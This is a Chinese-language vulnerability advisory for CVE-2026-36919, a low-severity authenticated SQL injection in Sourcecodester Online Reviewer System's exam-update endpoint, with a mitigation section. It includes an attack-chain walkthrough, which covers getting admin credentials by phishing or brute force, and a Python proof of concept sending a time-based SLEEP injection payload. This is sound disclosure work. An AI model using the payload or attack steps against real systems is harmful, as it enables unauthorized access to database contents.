IPBUF安全漏洞报告
English
CVE-2026-36919 CVSS 2.7 低危

CVE-2026-36919: Sourcecodester Online Reviewer System SQL注入漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-36919
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Reviewer System

相关标签

SQL注入Web安全SourcecodesterCVE-2026-36919后台漏洞

漏洞概述

Sourcecodester Online Reviewer System v1.0 版本中的 `/system/system/admins/assessments/examproper/exam-update.php` 文件存在 SQL 注入漏洞。攻击者需要具备高权限(管理员级别)才能访问该接口。由于该系统未对用户提交的数据进行严格的过滤或安全处理,直接将其拼接到 SQL 查询语句中,导致攻击者可构造恶意 SQL 语句。成功利用该漏洞可能导致数据库中的敏感信息泄露,但不会影响系统的完整性和可用性。

技术细节

该漏洞位于系统的考试更新功能模块中,文件路径为 `/system/system/admins/assessments/examproper/exam-update.php`。在代码实现层面,开发人员未使用参数化查询(如 Prepared Statements)或对输入变量进行转义处理。当管理员提交更新请求时,特定参数(如 `exam_id` 或其他表单字段)被直接传递给后端数据库执行。攻击者可以通过注入单引号 `'` 等特殊字符破坏原有 SQL 语法结构,进而拼接 `UNION SELECT`、`AND 1=1` 等恶意指令。由于 CVSS 评分显示攻击复杂度低且需要高权限,这通常意味着漏洞存在于后台管理面板中,一旦绕过认证或获得管理员权限,即可轻易窃取数据库内容。

攻击链分析

STEP 1
信息收集
攻击者探测目标服务器,确认其运行的是 Sourcecodester Online Reviewer System v1.0,并定位到管理员登录入口。
STEP 2
权限获取
由于漏洞需要高权限(PR:H),攻击者通过暴力破解、钓鱼或默认凭据获取管理员账号的 Session ID 或登录凭证。
STEP 3
发送 Payload
攻击者携带管理员 Cookie 向 `/exam-update.php` 发送 POST 请求,在参数中注入恶意 SQL 代码。
STEP 4
数据泄露
后端数据库执行恶意 SQL 指令,将查询结果(如用户密码哈希)返回给攻击者,完成数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-36919 # This script demonstrates the SQL Injection vulnerability import requests target_url = "http://target-ip/system/system/admins/assessments/examproper/exam-update.php" # Administrator session cookie is required (PR:H) cookies = { "PHPSESSID": "valid_admin_session_id_here" } # Injection payload testing for syntax error or time-based blind payload = { "id": "1' AND SLEEP(5)-- -", # Time-based payload example "submit": "update" } try: response = requests.post(target_url, data=payload, cookies=cookies, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed (Time-based)") elif "syntax error" in response.text: print("[+] Vulnerability confirmed (Error-based)") else: print("[-] Vulnerability could not be confirmed") except Exception as e: print(f"[!] Error: {e}")

影响范围

Sourcecodester Online Reviewer System 1.0

防御指南

临时缓解措施
在未进行版本升级前,建议在 `exam-update.php` 文件中添加输入过滤函数,例如使用 `mysqli_real_escape_string` 对接收到的参数进行转义。同时,管理员应修改默认后台路径并使用强密码,以降低被未授权访问的风险。部署 Web 应用防火墙(WAF)规则以拦截针对该路径的 SQL 注入攻击也是一种有效的临时手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表